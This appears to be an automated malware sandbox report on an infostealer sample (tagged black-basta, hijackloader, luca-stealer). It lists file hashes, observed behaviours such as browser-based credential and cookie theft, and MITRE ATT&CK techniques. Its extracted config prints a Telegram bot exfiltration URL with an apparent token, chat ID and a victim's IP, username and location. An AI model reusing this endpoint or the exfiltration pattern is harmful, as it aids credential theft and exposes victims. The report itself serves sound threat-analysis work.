General
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Target
2025-04-08_cd553ce7a31bac1a44b761dd831b1089_black-basta_hijackloader_luca-stealer
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Size
5.7MB
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Sample
250408-jj4d6a1my8
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MD5
cd553ce7a31bac1a44b761dd831b1089
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SHA1
a54f6d76cc6576e661ac793b085aa2da04f57349
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SHA256
a808f1f3c67e9ce64442115e902b375f4b30628359460a284d05ab2d0fdbcea9
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SHA512
00a85f996c40fd76bef66b0678a1572e993991267aa44bf80359a9a264b97c22943ca5f4d1adfbc55f0d634185de97ccbbde1a6f4551694f6e56461a08db7cca
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SSDEEP
98304:kWl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6UczF:ktOuK6mn9NzgMoYkSIvUcwti7TQlvcik
Static task
static1
Behavioral task
behavioral1
Sample
2025-04-08_cd553ce7a31bac1a44b761dd831b1089_black-basta_hijackloader_luca-stealer.exe
Resource
win10v2004-20250314-en
Malware Config
Extracted
gurcu
https://api.telegram.org/bot7985592397:AAFVMPiVHwyHikIzOgkAVrO_09lBQbg0bYY/sendDocument?chat_id=5279643894&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20212.102.63.147%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
Targets
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Target
2025-04-08_cd553ce7a31bac1a44b761dd831b1089_black-basta_hijackloader_luca-stealer
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Size
5.7MB
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MD5
cd553ce7a31bac1a44b761dd831b1089
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SHA1
a54f6d76cc6576e661ac793b085aa2da04f57349
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SHA256
a808f1f3c67e9ce64442115e902b375f4b30628359460a284d05ab2d0fdbcea9
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SHA512
00a85f996c40fd76bef66b0678a1572e993991267aa44bf80359a9a264b97c22943ca5f4d1adfbc55f0d634185de97ccbbde1a6f4551694f6e56461a08db7cca
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SSDEEP
98304:kWl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6UczF:ktOuK6mn9NzgMoYkSIvUcwti7TQlvcik
Score10/10-
Gurcu family
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Uses browser remote debugging
Can be used control the browser and steal sensitive information such as credentials and session cookies.
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Checks computer location settings
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE
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Loads dropped DLL
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Legitimate hosting services abused for malware hosting/C2
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Looks up external IP address via web service
Uses a legitimate IP lookup service to find the infected system's external IP.
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Enumerates processes with tasklist
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MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
1Credentials In Files
1